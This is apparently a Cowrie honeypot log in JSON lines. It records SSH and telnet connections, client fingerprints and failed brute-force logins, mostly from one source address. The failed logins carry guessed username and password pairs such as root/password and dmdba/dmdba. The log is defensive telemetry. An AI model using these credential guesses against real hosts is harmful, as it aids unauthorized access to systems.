{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45734,"dst_ip":"10.17.0.5","dst_port":23,"session":"844fcf03aab2","protocol":"telnet","message":"New connection: 50.6.8.71:45734 (10.17.0.5:23) [session: 844fcf03aab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:54.807562Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:55.145196Z","src_ip":"103.98.149.87","session":"19002205acfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44630,"dst_ip":"159.203.135.109","dst_port":22,"session":"f28832067a2f","protocol":"ssh","message":"New connection: 192.109.200.237:44630 (159.203.135.109:22) [session: f28832067a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:55.255461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:55.270074Z","src_ip":"192.109.200.237","session":"f28832067a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:55.340060Z","src_ip":"192.109.200.237","session":"f28832067a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:55.668730Z","src_ip":"192.109.200.237","session":"f28832067a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:56.755750Z","src_ip":"192.109.200.237","session":"f28832067a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59582,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e2c13519307","protocol":"telnet","message":"New connection: 50.6.8.71:59582 (10.17.0.5:23) [session: 5e2c13519307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:56.983218Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44642,"dst_ip":"159.203.135.109","dst_port":22,"session":"508a9cb9eeed","protocol":"ssh","message":"New connection: 192.109.200.237:44642 (159.203.135.109:22) [session: 508a9cb9eeed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:58.789365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:58.794458Z","src_ip":"192.109.200.237","session":"508a9cb9eeed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.4431426525116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:58.850935Z","src_ip":"50.6.8.71","session":"4afaf3165f7b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:58.876042Z","src_ip":"192.109.200.237","session":"508a9cb9eeed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:26:59.122286Z","src_ip":"192.109.200.237","session":"508a9cb9eeed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:00.209456Z","src_ip":"192.109.200.237","session":"508a9cb9eeed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32908,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4ff66f5a5f2","protocol":"ssh","message":"New connection: 192.109.200.237:32908 (159.203.135.109:22) [session: b4ff66f5a5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:02.422401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:02.475162Z","src_ip":"192.109.200.237","session":"b4ff66f5a5f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:02.512869Z","src_ip":"192.109.200.237","session":"b4ff66f5a5f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:02.842780Z","src_ip":"192.109.200.237","session":"b4ff66f5a5f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:03.927458Z","src_ip":"192.109.200.237","session":"b4ff66f5a5f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32918,"dst_ip":"159.203.135.109","dst_port":22,"session":"76a05b33f40e","protocol":"ssh","message":"New connection: 192.109.200.237:32918 (159.203.135.109:22) [session: 76a05b33f40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:06.179931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:06.184818Z","src_ip":"192.109.200.237","session":"76a05b33f40e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:06.268430Z","src_ip":"192.109.200.237","session":"76a05b33f40e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:06.524384Z","src_ip":"192.109.200.237","session":"76a05b33f40e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:07.718863Z","src_ip":"192.109.200.237","session":"76a05b33f40e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1823fce7d6e","protocol":"telnet","message":"New connection: 50.6.8.71:40406 (10.17.0.5:23) [session: b1823fce7d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:08.558344Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32930,"dst_ip":"159.203.135.109","dst_port":22,"session":"a187127ec097","protocol":"ssh","message":"New connection: 192.109.200.237:32930 (159.203.135.109:22) [session: a187127ec097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:09.697201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:09.700840Z","src_ip":"192.109.200.237","session":"a187127ec097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:09.786033Z","src_ip":"192.109.200.237","session":"a187127ec097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:10.162740Z","src_ip":"192.109.200.237","session":"a187127ec097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:11.248483Z","src_ip":"192.109.200.237","session":"a187127ec097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":60828,"dst_ip":"10.17.0.5","dst_port":22,"session":"12c4dfb2e118","protocol":"ssh","message":"New connection: 103.173.227.57:60828 (10.17.0.5:22) [session: 12c4dfb2e118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:11.601490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:11.605113Z","src_ip":"103.173.227.57","session":"12c4dfb2e118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:11.842534Z","src_ip":"103.173.227.57","session":"12c4dfb2e118","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"falcon","message":"login attempt [root/falcon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:12.556226Z","src_ip":"103.173.227.57","session":"12c4dfb2e118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44382,"dst_ip":"159.203.135.109","dst_port":22,"session":"b466fc37dcc7","protocol":"ssh","message":"New connection: 192.109.200.237:44382 (159.203.135.109:22) [session: b466fc37dcc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:13.382300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:13.386276Z","src_ip":"192.109.200.237","session":"b466fc37dcc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:13.469165Z","src_ip":"192.109.200.237","session":"b466fc37dcc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:13.721270Z","src_ip":"192.109.200.237","session":"b466fc37dcc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:13.796354Z","src_ip":"103.173.227.57","session":"12c4dfb2e118","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:14.880375Z","src_ip":"192.109.200.237","session":"b466fc37dcc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44418,"dst_ip":"159.203.135.109","dst_port":22,"session":"584dd7e5c791","protocol":"ssh","message":"New connection: 192.109.200.237:44418 (159.203.135.109:22) [session: 584dd7e5c791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:16.905622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:16.910757Z","src_ip":"192.109.200.237","session":"584dd7e5c791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:16.993613Z","src_ip":"192.109.200.237","session":"584dd7e5c791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:17.385769Z","src_ip":"192.109.200.237","session":"584dd7e5c791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:27:18.469832Z","src_ip":"192.109.200.237","session":"584dd7e5c791","protocol":"ssh"}
